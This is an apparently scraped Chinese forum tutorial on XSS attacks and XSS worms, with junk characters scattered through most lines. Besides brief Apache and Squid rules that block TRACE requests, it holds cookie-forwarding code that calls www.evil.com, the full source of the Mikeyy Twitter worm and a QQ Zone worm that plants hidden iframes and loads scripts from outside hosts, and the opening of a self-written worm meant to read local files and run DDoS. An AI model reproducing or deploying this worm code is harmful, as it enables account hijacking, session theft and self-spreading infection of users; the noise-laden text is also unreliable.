; ~& [1 l& M! N1 R) Z8 p. n6 l. }7 Oresource.search(/cookies/);
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......................3 r6 ^: {6 ?5 X5 g% M) b8 N
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</script>
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4 N) V& [% A$ W
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
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8 l- {. y* A( i( P2 H3 f4 T[code]7 t$ K5 d- P# L! @. g8 l- `2 R3 Q
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RewriteEngine On0 k" X2 H( p4 `/ s
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RewriteCond %{REQUEST_METHOD} ^TRACE
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. c3 f y1 a I0 U) n, LRewriteRule .* - [F]
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Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求& k2 z. g3 i( h4 H; h2 N
6 p" ?* X3 z, ?4 m. T% Wacl TRACE method TRACE
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http_access deny TRACE% L) A0 q$ u' D4 `7 ]
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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8 T3 s$ V' p. [- @XmlHttp.open("GET","http://www.google.com",false);
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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XmlHttp.send(null);$ n2 j+ {( h9 ^8 e( ?
8 Z' ^3 G! L5 R, ~* V9 S m</script>
E; `( e3 r+ Q+ h" G复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>% h5 a; G s9 b; p1 {, {
# h( J; B, Z$ @$ v* E# o( N5 Mvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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/ O: K" O$ l+ ^ S+ ~* Y9 P" zXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);2 s& W( w. P; x* M" r0 D z# v, h, F1 ?
" U3 x. p/ }; s; {+ m5 t+ gXmlHttp.send(null);
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0 x. P S$ L- C2 c/ t* N7 _3 s% L<script>4 p3 l9 h, x3 M* K+ m
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.7 t. L( O9 X2 ~3 n L
复制代码案例:Twitter 蠕蟲五度發威
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8 p! o) z9 \8 L: Z X' J- ]( H 下载 (5.1 KB)
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6 天前 08:27
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- Z' `: v- H3 }# T9 X第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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, T% I V* i. O6 i# B$ r4 f) O7 A% p5 {
3. function XHConn(){
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4. var _0x6687x2,_0x6687x3=false;
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; ]* b# f( T4 x5 X- |/ j 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
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6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
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7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
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8. catch(e) { _0x6687x2=false; }; }; };
. h$ X0 _) ?7 n3 s& Y1 V/ T4 J复制代码第六版: 1. function wait() { - y/ D( \) @/ m' k8 s
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2. var content = document.documentElement.innerHTML;
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3. var tmp_cookie=document.cookie;
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4. var tmp_posted=tmp_cookie.match(/posted/); " l; M. m# u/ _3 t# U! a$ z# k& A9 y
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5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); % w' _" i; E- l, ~- `" R
& F K7 [) s5 j! a$ a- B 6. var authtoken=authreg.exec(content);
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% i( I8 b d8 y; F 7. var authtoken=authtoken[1];
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8. var randomUpdate= new Array(); 1 q8 k0 P# @* |+ D5 y
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9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
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2 z$ J3 \; Q( c8 s `7 l7 o 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; 3 J. L9 S4 D _. b% T2 b3 U
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11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy."; 0 W: M; f3 U2 ?9 o0 f3 u
5 u1 \: L& @ |8 y+ ~, g 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; 6 J" u% p" e: t& o, E* ~
! _. T% h' G' r5 x 13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
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! ^- |; l' K* @4 O* _2 }/ c 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy."; 0 |& U( o v i# X2 i& n& b, T
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
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W' q/ o! k9 L) v9 P0 i( _ 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; " ]0 N1 r: y3 e3 @- y1 y j4 {
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17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; 1 v/ w; C: c1 f( g$ y. O
9 E' G2 I) o# i0 J; j 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
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19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
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2 A" |- _, e7 D8 t& M$ B 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; : r( R& G0 t* F- u1 N8 |' b ~8 P
3 h, T1 E: B* o3 V* i 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe"; " w6 V9 L% V @$ H8 T% I: q
! o1 g4 i% g' F. D/ }8 q) L/ z 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
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23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
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24.
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25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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26. var updateEncode=urlencode(randomUpdate[genRand]); ' l: W2 p9 S V4 T* _8 q# @3 Q5 e
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27.
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28. var ajaxConn= new XHConn();
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29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); # h& c" a+ {' J: W9 S
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30. var _0xf81bx1c="Mikeyy";
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/ G, c$ h( y( f! R3 J* N# X 31. var updateEncode=urlencode(_0xf81bx1c);
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32. var ajaxConn1= new XHConn();
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33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
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! v8 ~$ h. M. Q; ~" o 34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; ) c4 c4 ]1 e$ Q/ f ^ J
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35. var XSS=urlencode(genXSS);
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36. var ajaxConn2= new XHConn();
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# }( m1 v# z2 U/ t+ h 37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes"); ' K# V k1 C! q8 w
3 J9 e# v3 n& U0 w 38.
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40. setTimeout(wait(),5250);
( b" N, p2 n9 s! F复制代码QQ空间XSSfunction killErrors() {return true;} N6 ?/ y, m v+ a4 y
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window.onerror=killErrors;
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var shendu;shendu=4;
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) a- t* g/ m: u, i$ p//---------------global---v------------------------------------------9 A0 W& L( c2 u& ^. O
% p: b' B- ^( {. C- E; l% v) `* B//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?; ]% ]7 `4 f! `" r( p. ^
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var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
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var myblogurl=new Array();var myblogid=new Array();
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8 S5 [$ D7 m8 }9 s var gurl=document.location.href;" `& s) h4 j/ \1 J0 T: Z
2 x" a& I6 ^; `; s var gurle=gurl.indexOf("com/");5 J+ s" g5 S3 }7 I" ?4 Z# e
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gurl=gurl.substring(0,gurle+3);
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' j- [: ?; U" z var visitorID=top.document.documentElement.outerHTML;7 Q2 b+ o" a+ r: G1 N
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var cookieS=visitorID.indexOf("g_iLoginUin = ");
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visitorID=visitorID.substring(cookieS+14);
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& @6 G- y2 I: s, q* j cookieS=visitorID.indexOf(",");5 A' h' c5 y# ?# c) ?
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visitorID=visitorID.substring(0,cookieS);* ?6 v- }1 Q) j
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get_my_blog(visitorID); P$ X5 s, C: N
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DOshuamy();
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//挂马
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function DOshuamy(){3 d. n! W+ z8 z7 p# q
4 i6 Y) {1 _ l. L% Ivar ssr=document.getElementById("veryTitle");9 {8 N9 V' }3 w: {5 q6 {* R3 k
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ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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}
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//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
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function get_my_blog(visitorID){
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userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";3 F, B4 F% U, ^0 J: y( h4 ?7 d5 E7 L
8 ~% X2 k ^% B; \ xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
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& Z% S5 c! I7 M5 A8 F. N if(xhr){ //成功就执行下面的8 X1 t3 W# \& X$ L7 ]6 r; n1 M
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xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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xhr.send();guest=xhr.responseText;
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% F# w$ L8 s, D8 Y: D* o8 d$ U/ s get_my_blogurl(guest); //执行这个函数
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//这里似乎是判断没有登录的
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function get_my_blogurl(guest){3 w4 [& G5 j0 T
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var mybloglist=guest;- V, `% l/ b: t9 Z( j, L4 z/ D9 h/ L
- e2 G" `9 u! j var myurls;var blogids;var blogide;8 r- P0 S# R% i+ @
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myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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) x% ~ k* F( q if(myurls!=-1){ //找到了就执行下面的
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mybloglist=mybloglist.substring(myurls+11);
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, x) A1 h9 V0 l* y6 x myurls=mybloglist.indexOf(')');- u& J2 N& b0 s S
# m. r( E% e- O/ @- l' M* {# ~ myblogid=mybloglist.substring(0,myurls);# N- Y6 }( J. y& T( a/ T# f5 T: m
$ U$ n$ T( b9 U' v \5 ]( d. U }else{break;}/ c1 X: k% h& B0 |
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get_my_testself(); //执行这个函数
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//这里往哪跳就不知道了
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function get_my_testself(){
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for(i=0;i<myblogid.length;i++){ //获得blogid的值+ Q& ~/ g* t7 @
; n. ?, b1 s2 |/ f) d! V3 l var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
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var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
- f! T& p Z" H0 F
: {; F& Z: s6 S/ G: ?* g if(xhr2){ //如果成功
! h: ^/ S! V7 F) c, @% p% s8 ]1 Q) k6 O, ^; t1 l
xhr2.open("GET",url,false); //打开上面的那个url
' z7 F. N t( k# _
5 V1 S' k* K2 |, l- _# t xhr2.send();5 M; y2 W: s& y- q/ e) q: u6 |
! y& `/ t- w# n! C# ~
guest2=xhr2.responseText;' V% N+ Q8 _7 v/ _; ?+ A7 L! a
1 V8 E4 y/ R7 ^ var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?! D* c* m. Z, X" B6 l
0 N d8 x! Y: E' K var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串3 F* U1 J+ d+ r; P
2 P, m" {. ?; L6 E& R# e- h* s/ ]
if(mycheckmydoit!="-1"){ //返回-1则代表没找到6 H$ k- c* B1 H5 A6 u5 C
! b5 I$ r- u6 M" u) O
targetblogurlid=myblogid;
+ @/ f$ l3 a& U( s' Q# z( l+ l; g0 S( M- D0 w
add_jsdel(visitorID,targetblogurlid,gurl); //执行它& ?$ U% |( n1 j" s& Z
$ _7 ] R/ t) G( e8 H4 o. ] break;; R! U" d- G5 x5 i& T3 L1 _" @0 b
7 [6 [& P$ n* B Y+ M }
/ X/ k T, c6 x2 n8 j8 A- E3 c. g2 N9 E X! k
if(mycheckit=="-1"){* y3 a; _: \! z: Y6 r( A
2 K4 c7 A; m5 \/ v- p9 { targetblogurlid=myblogid;
. U5 P3 M6 l! T; X9 F9 w4 J5 N& o: A6 ^/ z, w% B2 }; N
add_js(visitorID,targetblogurlid,gurl); //执行它* [7 [3 V3 }" A% I/ z$ b0 D
! w. s9 V h8 C N, ?5 E
break;
% w9 ?- t5 [& a& p- `1 t( T2 V- F
& L' s x% p5 L }9 d. M2 R* y! Q
$ O0 G7 f+ M R } # X6 W) y$ a4 M' a7 L1 b; @
- E7 ^+ C4 S" M0 t; u$ M}) }% y p+ A* ?+ S+ ?% J8 \, X
2 J( O" A+ T. Q. {0 I' {}
# Y& J/ c$ y: |' U1 J" ], Q/ O9 x" z
, m8 v9 c: |& N! \* J
% m1 |7 X' u4 M9 G4 X( K; n. }( I+ D! j! `2 } t
//--------------------------------------
, G3 E ?) Y; P$ d/ k$ R
# I6 W& z) J) T N) X& i//根据浏览器创建一个XMLHttpRequest对象# K1 j$ u& ^5 }4 G: q4 M& L
: H' B x, v) O& N% G; h/ {" `function createXMLHttpRequest(){
. c( F; A4 C5 A7 @$ O+ k- Q9 k. T& P7 ]
var XMLhttpObject=null; 3 a! Y/ P/ L c& C% z% x# F
1 h! t9 N# F0 O7 N1 q4 c9 e if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()} " g8 D1 o$ R& W6 @* B
# G% w5 ?3 S# P/ W) H/ `
else - w2 ~% h8 `* d/ ^3 W" [
0 N2 W2 O* G3 U' M2 U2 ~, c" G4 k
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
' ]# j6 Y7 |' T) I4 w# ^
! _8 G& k& Z2 w+ Y1 E$ V for(var i=0;i<MSXML.length;i++)
6 `9 Z7 \" ]6 b; t( T, s8 z+ Q, m, x' S
{
* o" H' ^3 P$ H* `$ g9 p
! T8 B. n$ P v' [7 R; V% z: E try
$ F4 d9 T6 M$ [6 y" |. ] u5 u) C/ |
5 f1 ^- P. P6 H! j {
3 F& ^: o; h' ^* P. u; S% ~6 l- ?2 _7 \! E2 [
XMLhttpObject=new ActiveXObject(MSXML); 4 y7 `( E3 ~! A* c, S' H
, `0 R2 D! t# l! l' M3 L2 ]. K A break; & K& a: p* D- ]" v3 x' j- U
3 n' p E2 B+ d) i# i) k }
0 z" u! _7 n; l& `0 b4 e8 y" O" B. V9 _4 i. G }
catch (ex) {
- k$ [" x# {/ @, j
4 L. s& u+ \3 |0 j% u* S5 i }
& Q5 ?+ l. P+ R7 k: y* v' U3 H* ~4 w
} 5 F0 ~1 j( V$ b! C5 ?+ A9 g
0 J2 Q, N0 M( t }
@2 q% Y7 f1 Y$ Y/ x2 ~: w: `, J# i5 E4 M- C6 U$ \8 ^
return XMLhttpObject;
1 c3 i* }( C$ G$ s9 \3 S5 p7 `6 Q/ k" I8 y2 [, J, h; ^
} , n3 {: q5 s, z/ S$ D' X
/ Z" p$ \* v, F1 J- E t
, ^! ]2 f+ _. s# f
2 Z' h- s; H9 I! Z1 o! z//这里就是感染部分了
; p' @# q) D5 l- c" y6 l( o, R% i _0 j
function add_js(visitorID,targetblogurlid,gurl){
* j2 q, [! x. p! L1 M1 I
% o0 V: H( U$ j. P( \2 |var s2=document.createElement('script');) B& }; }0 u! L# P4 P* z
3 B- }+ f; c! d* y9 ^& k8 a- f bs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();! A7 F9 f( a/ W# a) g$ J
. v0 r6 c, P9 x" {+ i: \s2.type='text/javascript';+ ^ @ y. L4 {8 b! c
4 H$ P' u/ z% H. {3 p
document.getElementsByTagName('head').item(0).appendChild(s2);( k) h" D+ A5 n1 a- t Q/ b# K8 {
2 S4 ?+ {+ d, ^+ Q}
& k& c: c. U8 k8 t& p$ G, ~- S P8 G" t1 E% U; ]0 }
$ F" ?8 F I* t- J- ? C5 u
3 ~( t8 M1 b( \" a* ]6 q+ |/ F
function add_jsdel(visitorID,targetblogurlid,gurl){2 b7 @' Z; [6 I) K1 m
3 W$ N( Q' Y3 O) t
var s2=document.createElement('script');
]2 x# F5 G- h. z* R3 q2 R9 F& @1 d
- r, k3 W/ M, y" X% m9 u' bs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();. c% f" E; E! L" i6 `( ]
1 H, e' B$ z8 s. u& Ns2.type='text/javascript';
- b6 c7 t9 p [2 N2 }9 V) A* a5 h
% J( s: \" M' m* O: ~document.getElementsByTagName('head').item(0).appendChild(s2);% \3 n5 x' s7 |+ J8 B* _
, b3 E$ n6 P! ] r# G9 N6 @
}7 c# o: `4 H- k4 ?9 W7 S# i- `. B5 j
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:0 Q9 ^/ _6 t, l6 @6 }' o5 o
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.). G$ Z8 l. ?: \6 A0 ?
; n! v4 x4 r5 h/ V3 b& g2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.) @2 K4 `7 R) R
0 V' I7 f/ u$ ^综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
- G/ H1 c2 W3 o# n, i; p M/ i! w" \0 ]
% j# S. t8 l% b5 p# R2 G下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
6 ~( y" ]% D* |, t" l7 q' _) E" @5 O4 ~' I6 K
首先,自然是判断不同浏览器,创建不同的对象var request = false;+ {" [: {/ i) Z5 y0 E# H
# \% @, _" I6 r2 r
if(window.XMLHttpRequest) {, D+ |% {. |* X. @/ {# o; K
1 x- [ y/ }6 I' d* Z2 M, J
request = new XMLHttpRequest();5 A8 A. }+ q: @- t! [* _) ^& w
( P3 z1 N: Y. J" Y3 @if(request.overrideMimeType) { H8 Q. S& a# K7 {
1 g+ p& o. E. Q G
request.overrideMimeType('text/xml');9 P- U& E' t- l% J8 \
' A' S- F% q) x0 A. h
}
( B: s3 S7 z7 @# m' N- |: ~$ A4 A" s" ~7 R
} else if(window.ActiveXObject) {- {4 n9 |; {2 f' q- l6 c2 r% [
6 \3 Z: i& i4 t1 p
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
1 Y& r: z, f F% t% G) _7 w, Z; |3 w3 m M4 F' |
for(var i=0; i<versions.length; i++) {7 J$ Y7 @3 l0 L& n
C& U/ f! @7 m. C
try {. X8 C/ c5 t3 @& y( q8 b
. y0 m: \9 h p& drequest = new ActiveXObject(versions);, s+ i2 R% F. m* ~ b
' ?3 I Y k# |. k, g
} catch(e) {}
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}! P/ s$ v; L- U7 v' T& t0 J7 m
* _8 i- n! Y1 Z. z- @}% U" i: d4 B+ E h* Z
" u5 K/ Q' Q g+ n) i9 b
xmlHttpReq=request;
) R' W) I4 D2 k0 q8 q' ^: k复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
/ s* [6 E- P! M3 B
6 m, y( Y. e4 Z var Browser_Name=navigator.appName;
2 P3 h/ R W0 S2 V
1 |5 a3 X9 B, A% x7 l; U5 T var Browser_Version=parseFloat(navigator.appVersion);$ S1 h- M& Y$ I8 e6 |
! l3 J" @0 z& P- ?
var Browser_Agent=navigator.userAgent;
& V6 q# Z$ {$ Z) K$ ], x/ t6 G J% n' ?6 s/ o1 o" G6 U
% \, t$ g0 u d$ V" j& D
3 Q. G: }& A ]3 P. l5 X/ k+ i var Actual_Version,Actual_Name;
+ D" @2 _) \ r8 e+ C9 q
5 O# {# F5 x5 ^9 U' w# b 8 |4 k) y. g) I5 h( c" M6 q) V& G4 k
V G- P6 ?5 D
var is_IE=(Browser_Name=="Microsoft Internet Explorer");+ b2 g. f& Z" s" w4 [
: _! o6 {9 ]: S& E6 g1 R var is_NN=(Browser_Name=="Netscape");7 f+ T2 c0 v- E3 d( Z# o1 M6 O
) Z7 x* v0 h8 G$ w' T( j
var is_Ch=(Browser_Name=="Chrome");8 _4 i6 l/ j+ V; p8 a/ ^
: ?: C0 U, f& g
- x' p" O2 N. |& ^$ E: {' E% ^$ o
$ g* ?. Q3 f- i9 P/ \5 u+ Y if(is_NN){* h* G7 D1 m n: f @6 b: |5 l
& R: Y. d" J5 u6 A& s
if(Browser_Version>=5.0){
6 X' k8 ^# _+ n! \/ n+ c2 x% f B( w4 \5 q
var Split_Sign=Browser_Agent.lastIndexOf("/");
* o2 F9 v6 y( e, N0 o: z4 M. r; [2 n+ U0 c, _3 ~
var Version=Browser_Agent.indexOf(" ",Split_Sign);
0 X$ D4 {5 R4 D- g
3 ?- q- y3 X! f1 X' z5 U var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);$ h# X( h5 d+ R2 T
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* y: d1 \+ G8 y, j, w& m7 O3 K! L2 L+ q, t' a+ `& H! b
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);; h" k& _1 H o+ L: l; Q' \2 P
# o6 G4 o+ p& f+ h& u Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);0 V8 @+ A% b; n. u
; J' P8 Q% V: P* Q# i }
4 ?- j+ U/ {! n& {. c5 G. _# r/ U5 e6 C
else{/ d" ^6 ~! H/ w# W7 f1 p
! q" _* g; V; t& | Actual_Version=Browser_Version;
: \+ h+ U. X, f$ h' @4 d9 |, s7 y8 c
$ Z5 q# [8 k$ g! i7 m3 r Actual_Name=Browser_Name;0 b9 a- l( U' F/ }1 H: {; ?
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1 `% g' j0 e7 e8 J8 Q9 s3 v }
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" k! ~% i7 h7 B5 C7 Y4 ` else if(is_IE){7 G6 m, J/ s: B) [
6 M& b b7 g: d; u0 y var Version_Start=Browser_Agent.indexOf("MSIE");$ z/ B' e8 R, \! v" C
4 j( M. P% f4 R+ U" x& ~ var Version_End=Browser_Agent.indexOf(";",Version_Start);" J, m& Z( v4 c; U! d" i8 ]7 B
6 i& Q, E8 K1 g0 T6 F. m! s* g
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
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Actual_Name=Browser_Name;& O- ]6 t) J* U7 x: j" x
: L8 W& m r* }: T4 ?6 k
$ d7 i" w( T# V" f
1 h4 [5 H r% b& a" N if(Browser_Agent.indexOf("Maxthon")!=-1){
( |( E: g* `6 o( f3 p b" u& _2 |
7 C# b3 I/ {/ k d$ u) | Actual_Name+="(Maxthon)";5 a1 f @5 F8 ]) x. m2 W" e
' B4 H1 ~. \ S' O5 E
}
8 p/ ]' Q( c, q; z( c3 t8 k% ~$ _. O! c9 p3 i
else if(Browser_Agent.indexOf("Opera")!=-1){
4 D# t& l) s3 t. p O* |4 Z
3 r. Z/ P) \4 N' C' t Actual_Name="Opera";$ u5 g$ l( \: D& A
3 X0 m% r# Y6 C5 z* x' ` var tempstart=Browser_Agent.indexOf("Opera");) o3 `" M0 h5 p( o% T$ m
2 |8 a$ H# {1 Z* |5 h var tempend=Browser_Agent.length;7 U/ [- U8 x* S; [
0 r' j$ v3 q) m6 B* H, H Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
: [1 g [ o1 ?' J- t4 M/ m* w8 m: x" }. o; w( [/ _5 {
}
. _6 @ H/ [: x% c; L' ~ H/ ?6 w
}
& l4 x3 X) k5 {3 o! y4 U" O5 u7 _" O3 T+ `2 I! k& x/ n, ~
else if(is_Ch){6 H+ `# d* n( c( h) }7 u: l V+ _
7 p5 L, b& A' O+ D4 e# q& ] var Version_Start=Browser_Agent.indexOf("Chrome");5 o" |% W. h5 R, Z( T: g$ m
* O2 P4 Y+ C$ e4 E1 t ]) V* r
var Version_End=Browser_Agent.indexOf(";",Version_Start);+ o/ @3 \% Z& K& Y
: ]+ k4 U8 a6 m- H# d Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
) C" ^; J5 T$ q6 m* |6 _
$ M z+ h. w* X0 I2 N Actual_Name=Browser_Name;
9 j' `5 I1 `5 G0 h2 y' L
7 A2 M4 Q3 m8 c * R6 {+ r$ n v: o2 x
+ U. S- ?5 m4 |0 N. Q' d6 V
if(Browser_Agent.indexOf("Maxthon")!=-1){
2 U& [! p4 J: y( Y, Z; X
! y U( O) T/ k8 y/ K# _( y Actual_Name+="(Maxthon)";5 c: }3 T( R! ]0 p
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' u, v' F: I0 Y/ o% i0 N" F# d E( V1 D
else if(Browser_Agent.indexOf("Opera")!=-1){
9 V+ H+ F* K9 n6 z0 A2 g6 g, U
" t7 n ^9 H* G& ? v, M( U# ~ Actual_Name="Opera";
% I3 o) v+ z& S8 i. O) U5 S% u% z4 i; Z0 F/ K' Z6 l u
var tempstart=Browser_Agent.indexOf("Opera");
. F8 u* y: S( Y# \$ r1 I. L1 F1 d* x& y8 u" b
var tempend=Browser_Agent.length;
6 v( K0 R6 j6 k3 ?. ~3 J
/ N' K Q1 U" Q4 g1 a Actual_Version=Browser_Agent.substring(tempstart+6,tempend). U6 b \7 ?, m! A, g4 B- e
8 B2 p6 l& \! ^& q2 y" M N
}
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}5 X q4 ]1 E4 M" {1 I* o# m1 I3 E, b7 x
% P2 B. ^) I8 D f else{ K c2 S# e2 p" M, ^& x
3 ?% Y8 O3 D1 ]' K3 _ }) \ Actual_Name="Unknown Navigator"
0 A$ ]) q* Q0 [4 t+ `" O
% p# a4 j0 J0 r( ?! x% g" d# T Actual_Version="Unknown Version"9 L2 @& n0 z0 `
- I7 A. z4 S" \" Y! d. x' b
}
1 b( g5 B4 f n5 X1 d, S9 L- k& l* u2 R7 y- T
& ?' ~9 j6 W. L' K# Y' V% c1 [5 Y3 O
navigator.Actual_Name=Actual_Name;7 o! n4 H) o2 B2 V2 w* s
0 r; r6 W* E. f/ O4 `. U# m' d- Y
navigator.Actual_Version=Actual_Version;# K; a) {- k0 S D' M
- k' u6 e. C, i1 R
# Z! W5 \1 G, |2 ]' S
' B T/ t: ?3 n6 V7 I this.Name=Actual_Name;0 O* o5 B, u8 n
2 P: s( p) T3 T, W5 X this.Version=Actual_Version;1 s, G( c# L% D, P2 w) A
% _" l1 h5 G2 P5 T" K
}
4 H0 P6 w" q/ B% G$ E
8 G8 h, U6 e- o, Q3 R browserinfo();
$ Y( d* n; w5 a6 b* ]- P3 Y0 F
& M* l; q1 @) W; `% b if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}% f0 N2 a& w+ u4 h& t# H' ^
& g- h$ Y2 y5 s! A! z
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
# Z3 R8 B( _# K% b3 s" [5 A' w% ~) R2 j6 N, o @
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}/ x$ [7 J" r$ T8 b% i
